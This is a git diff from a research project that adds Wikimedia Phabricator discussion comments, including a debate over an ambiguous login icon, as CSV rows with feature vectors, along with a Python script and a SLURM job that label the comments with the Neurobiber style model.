+It was me on the first dashboard-based homepage for fab.wmflabs, but apart from this I agree with the rest.  :)",,,1423867298,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-20,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,1,0,0,0,1
+411337,Phabricator login button uses an ambiguous icon that could be interpreted as logout,">>! In T87552#1037858, @valhallasw wrote:
+> Can we just add the login/register line to the front page 'Getting Things Done' block? Then at least people who don't recognise the login icon can find //a// way to login.
+
+FWIW I did that once and people didn't like that even when logged in the static text still said ""Login"" :)
+
+Not opposed though.",,,1423864906,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-20,True,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,1,1
+411332,Phabricator login button uses an ambiguous icon that could be interpreted as logout,Can we just add the login/register line to the front page 'Getting Things Done' block? Then at least people who don't recognise the login icon can find //a// way to login.,,,1423864656,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-20,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,0,1,0,1,0
+411327,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"We have upstreamed this task once and it got wontfixed, therefore I don't think it is worth to keep discussing this task in the context of #Phabricator.org
+
+The alternative is to have a local patch, but I really don't see that this is a problem of a scale deserving the maintenance of such patch. With more or less difficulties, users find their way to log in to Phabricator.
+
+Phabricator is not perfect, but I think the current implementation is good enough. I still think we should decline this task.",,,1423864325,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-20,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,1,1,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+404297,Phabricator login button uses an ambiguous icon that could be interpreted as logout,">>! In T87552#998398, @Qgil wrote:
+> I really don't think that users don't know how to log in/out because of this icon.
+
+I couldn't figure it out. I was staring at the interface trying to figure out how to log in and I thought the icon was just an error until someone (MatmaRex, I think) actually pointed it out.
+
+Granted I'm a bit of an idiot, but sometimes users are.",,,1422520834,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,False,,,-22,True,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+403887,Phabricator login button uses an ambiguous icon that could be interpreted as logout,I really don't think that users don't know how to log in/out because of this icon.,,,1422464171,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+403890,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"Maybe we can add a link on https://phabricator.wikimedia.org/, in the Getting Things Done block? i.e.
+
+change
+> * Report a Problem
+> *  Phabricator Help
+
+into
+> * log in / register (link to mw.org registration page?)
+> * report a problem
+> * phabricator help
+
+Something like:
+
+{icon sign-in} [[https://phabricator.wikimedia.org/auth/start/|Log in]] / {icon key} [[https://www.mediawiki.org/w/index.php?title=Special:UserLogin&returnto=phab:&type=signup|Register]]
+
+```
+{icon sign-in} [[https://phabricator.wikimedia.org/auth/start/|Log in]] / {icon key} [[https://www.mediawiki.org/w/index.php?title=Special:UserLogin&returnto=phab:&type=signup|Register]]
+```
+
+where the Register link even links back to phab!
+
+
+
+In the meanwhile, I've updated our docs a bit: https://www.mediawiki.org/w/index.php?title=Phabricator%2FHelp&diff=1379784&oldid=1378003
+
+
+",,,1422464691,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+403879,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"Maybe we can add a link on https://phabricator.wikimedia.org/, in the Getting Things Done block? i.e.
+
+change
+> * Report a Problem
+> *  Phabricator Help
+
+into
+> * log in / register (link to mw.org registration page?)
+> * report a problem
+> * phabricator help
+
+
+In the meanwhile, I've updated our docs a bit: https://www.mediawiki.org/w/index.php?title=Phabricator%2FHelp&diff=1379784&oldid=1378003
+
+
+Something like:
+
+{icon sign-in} [[https://phabricator.wikimedia.org/auth/start/|Log in]] / {icon key} [[https://www.mediawiki.org/w/index.php?title=Special:UserLogin&returnto=phab:&type=signup|Register]]
+
+```
+{icon sign-in} [[https://phabricator.wikimedia.org/auth/start/|Log in]] / {icon key} [[https://www.mediawiki.org/w/index.php?title=Special:UserLogin&returnto=phab:&type=signup|Register]]
+```
+
+where the Register link even links back to phab!",,,1422461806,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+403878,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"Maybe we can add a link on https://phabricator.wikimedia.org/, in the Getting Things Done block? i.e.
+
+change
+> * Report a Problem
+> *  Phabricator Help
+
+into
+> * log in / register (link to mw.org registration page?)
+> * report a problem
+> * phabricator help
+
+
+In the meanwhile, I've updated our docs a bit: https://www.mediawiki.org/w/index.php?title=Phabricator%2FHelp&diff=1379784&oldid=1378003",,,1422461435,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+403877,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"Wontfix upstream, see the reasoning at https://secure.phabricator.com/T7073
+
+I propose to decline this task here accordingly. I don't see a big problem in the icon in any case...
+
+This is a FontAwesome icon, and therefore any requests/patches should be handled in the FontAwesome project directly.",,,1422461156,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+403434,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"Anybody willing to submit this request to https://github.com/FortAwesome/Font-Awesome/issues ? (2184 open, 3010 closed...)",,,1422339898,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0
+403310,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"**General:** Please take ""file uploading in Phabricator"" to the Help page of https://www.mediawiki.org/wiki/Phabricator/Help#Uploading_file_attachments . Thanks.",,,1422308637,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+403289,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"...or that any of those would be, either. ",,,1422306489,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,False,,,-23,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+403288,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"The problem here is that it's ambiguous. It all depends on whether or not the user is already logged in - if they are logged in, the box is an exit. If they are not logged in, it's an entrance. Whether they are coming through it or going through it varies; either could be going either direction.
+
+Perhaps due to this similarity and ambiguity, in the past, I have only ever seen it used as a log-out icon, typically used next to a menu or similar that clearly identified the logged-in user, so at least for me, that type of icon is associated with logging out almost exclusively. When logging in, not only would more context be required to make it clear, but even then I'm not sure it would be an appropriate icon.
+
+",,,1422306412,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,False,,,-23,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0
+403285,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"Perhaps one of these would be clearer?
+{F32222}",,,1422305738,,PHID-USER-7sfnmvwpvh3etwtqk5pg,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,False,,,-23,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0
+403276,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"Ugh, fontawesome? So this is a double-upstream bug? Because I agree that the iconography is confusing. It would be somewhat less bad if the login icon was flipped horizontally. It does look like an arrow pointing towards the exit to me.
+
+Compare:
+{F32217}
+{F32219}",,,1422303635,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,0,1,0,0
+403267,Phabricator login button uses an ambiguous icon that could be interpreted as logout,What does grey background mean?,,,1422301948,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,False,,,-23,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0
+403265,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"Well, valhallasw got it and summed it up pretty well (they're pretty ambiguous which is even which, since they can be interpreted either way).
+
+But yeah, I have no idea how you even do that.",,,1422301890,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,False,,,-23,True,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0
+403263,Phabricator login button uses an ambiguous icon that could be interpreted as logout,">>! In T87552#994882, @Isarra wrote:
+> [[F32214...?]]
+> 
+> ...eh?
+
+@Isarra :)
+
+FWIW you can do
+
+`{F32214}`
+
+{F32214}
+
+or
+
+`F32214`
+
+F32214
+
+",,,1422301865,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,1,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1
+403261,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"[[F32214...?]]
+
+...eh?",,,1422301761,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,False,,,-23,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1
+403258,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"As far as I can see, the sign-in and sign-out icons from fontawesome are used:
+
+{F32208}
+
+Log-in:
+{F32210}
+
+Log-out:
+{F32212}
+
+I interpret those icons as 'entering' (sign-in) and 'exiting' (sign-out), but I agree it doesn't immediately convey that meaning very clearly when seen as a lone icon.",,,1422301610,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,0,0,1,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+403257,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"As far as I can see, the sign-in and sign-out icons from fontawesome are used:
+
+{F32208}
+
+Log-in:
+{F32210}
+
+Log-out:
+{F32212}
+
+I interpret those icons as 'entering' (sign-in) and 'exiting' (sign-out).",,,1422301507,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+403254,Phabricator login button uses an ambiguous icon that could be interpreted as logout,">>! In T87552#994868, @Isarra wrote:
+> Er... drag and drop from what? Is there no normal way to add an attachment? I'm sorry, this is all a bit confusing.
+
+If you would like you can go here https://phabricator.wikimedia.org/file/upload/ and then link to it from this ticket.",,,1422301315,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,True,,,-23,True,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,1,1,1,0,0,0,0,1
+403252,Phabricator login button uses an ambiguous icon that could be interpreted as logout,"Er... drag and drop from what? Is there no normal way to add an attachment? I'm sorry, this is all a bit confusing.",,,1422301168,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,False,,,-23,True,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0
+403186,Phabricator login button uses an ambiguous icon that could be interpreted as logout,Could you attach a screenshot please? Drag & drop into the comments box.,,,1422290089,,PHID-USER-7sfnmvwpvh3etwtqk5pg,False,,,PHID-TASK-fx3jjwlqzro6t4pmf2bh,task_subcomment,,True,c3,1,False,,,-23,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+78646,2 login-links on page but different behaviour,"Hi,
+
+We have a wiki which has a part which can be accessed without logging in and a part which can only be read (and modified) after you are logged on. When you try to access a page for which you have to be logged on you get the following screen:
+
+Login required Please log in to view other pages.
+
+Return to Main Page.
+
+The text 'log in' after Please is a link so that after you click this and logon you return immediately to the required page. On top of the screen there is also a login-link-button which points to http://ourwiki/index.php?title=Special:UserLogin&returnto=Special%3ABadtitle
+
+We can notify to use the link provided after 'Please' but it would be convenient that the loginlink at the top of the screen responds the same. I have googled around but haven't found a solution (yet) for this (if there is any). So question: Is there a way to solve this?
+
+We use Mediawiki 1.23.7.
+
+Thanx in advance.",Lowest,10.0,1418730166,1426846164.0,PHID-USER-debp4jxlapelkln326u6,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-xehnfjut6yregz3d2jej,task_description,declined,True,c3,1,False,False,True,-29,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,1,1,1,1,0,1,1,1,0,1,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0
+429163,2 login-links on page but different behaviour,Sorry for not reply-ing. I did a test and couldn't reproduce it anymore.  Might put it on Hold/Resolved without solution/whatever. ;-),,,1426778721,,PHID-USER-debp4jxlapelkln326u6,False,,,PHID-TASK-xehnfjut6yregz3d2jej,task_subcomment,,True,c3,1,False,,,-15,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+429137,2 login-links on page but different behaviour,@DikkieDick: Please answer.,,,1426777056,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xehnfjut6yregz3d2jej,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1
+418783,2 login-links on page but different behaviour,I cannot replicate this. What's the name of the page in question?,,,1425182148,,PHID-USER-scigxlexgozrr4ej5mm5,False,,,PHID-TASK-xehnfjut6yregz3d2jej,task_subcomment,,True,c3,1,False,,,-18,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
diff --git a/p2/quest/python_scripts/neurobiber_labeling.py b/p2/quest/python_scripts/neurobiber_labeling.py
index d9dcfc4..66ca3ff 100644
--- a/p2/quest/python_scripts/neurobiber_labeling.py
+++ b/p2/quest/python_scripts/neurobiber_labeling.py
@@ -1,6 +1,8 @@
 import torch
 import numpy as np
 from transformers import AutoTokenizer, AutoModelForSequenceClassification
+import random 
+import pandas as pd 
 
 MODEL_NAME = "Blablablab/neurobiber"
 CHUNK_SIZE = 512  # Neurobiber was trained with max_length=512
@@ -93,5 +95,32 @@ def predict_text(model, tokenizer, text, chunk_size=CHUNK_SIZE, subbatch_size=32
     return batch_preds[0]
 
 if __name__ == "__main__":
-    print("my brain hurts!")
     #https://huggingface.co/Blablablab/neurobiber
+    '''
+    docs = [
+    "First text goes here.",
+    "Second text, slightly different style."
+    ]
+    '''
+    #loading in the discussion data from the universal CSV
+    first_discussion_df = pd.read_csv("/home/nws8519/git/mw-lifecycle-analysis/p2/071425_master_discussion_data.csv")
+    #formatting for the neurobiber model
+    docs = first_discussion_df["comment_text"].astype(str).tolist()
+    #load model and run
+    model, tokenizer = load_model_and_tokenizer()
+    preds = predict_batch(model, tokenizer, docs)
+    #new columns in the df for the predicted neurobiber items 
+    preds_cols = [f"neurobiber_{i+1}" for i in range(96)]
+    preds_df = pd.DataFrame(preds, columns=preds_cols, index=first_discussion_df.index)
+    final_discussion_df = pd.concat([first_discussion_df, preds_df], axis=1)
+    #assert that order has been preserved 
+    for _ in range(10):
+        random_index = random.choice(first_discussion_df.index)
+        assert first_discussion_df.loc[random_index, "comment_text"] == final_discussion_df.loc[random_index, "comment_text"]
+    #assert that there are the same number of rows in first_discussion_df and second_discussion_df
+    assert len(first_discussion_df) == len(final_discussion_df)
+    # if passing the prior asserts, let's write to a csv
+    final_discussion_df.to_csv("/home/nws8519/git/mw-lifecycle-analysis/p2/quest/071425_neurobiber_labels.csv", index=False)
+    print('neurobiber labeling pau')
+
+
diff --git a/p2/quest/slurm_jobs/neurobiber-categorization.log b/p2/quest/slurm_jobs/neurobiber-categorization.log
new file mode 100644
index 0000000..940261d
--- /dev/null
+++ b/p2/quest/slurm_jobs/neurobiber-categorization.log
@@ -0,0 +1,6 @@
+starting the job at: Mon Jul 14 15:25:44 CDT 2025
+setting up the environment
+running the neurobiber labeling script
+neurobiber labeling pau
+job finished, cleaning up
+job pau at: Mon Jul 14 15:27:39 CDT 2025
diff --git a/p2/quest/slurm_jobs/neurobiber_label.sh b/p2/quest/slurm_jobs/neurobiber_label.sh
index 7fc5f1a..d5edd96 100644
--- a/p2/quest/slurm_jobs/neurobiber_label.sh
+++ b/p2/quest/slurm_jobs/neurobiber_label.sh
@@ -20,7 +20,7 @@ module purge
 eval "$(conda shell.bash hook)"
 conda activate neurobiber
 
-echo "running the p1 categorization script"
+echo "running the neurobiber labeling script"
 
 python /home/nws8519/git/mw-lifecycle-analysis/p2/quest/python_scripts/neurobiber_labeling.py
 
diff --git a/p2/quest/todo.txt b/p2/quest/todo.txt
index 00825aa..1bbf008 100644
--- a/p2/quest/todo.txt
+++ b/p2/quest/todo.txt
@@ -1,6 +1,6 @@
-[ ] generate clean rows for each comment from the discussion data 
-[ ] get data onto quest 
-[ ] run neurobiber over the data set, appending vectors onto the array 
+[ x ] generate clean rows for each comment from the discussion data 
+[ x ] get data onto quest 
+[ x ] run neurobiber over the data set, appending vectors onto the array 
 [ ] set up the unsupervised classification pipeline 
 [ ] iterate the prompt
 [ ] run the classification of the prompt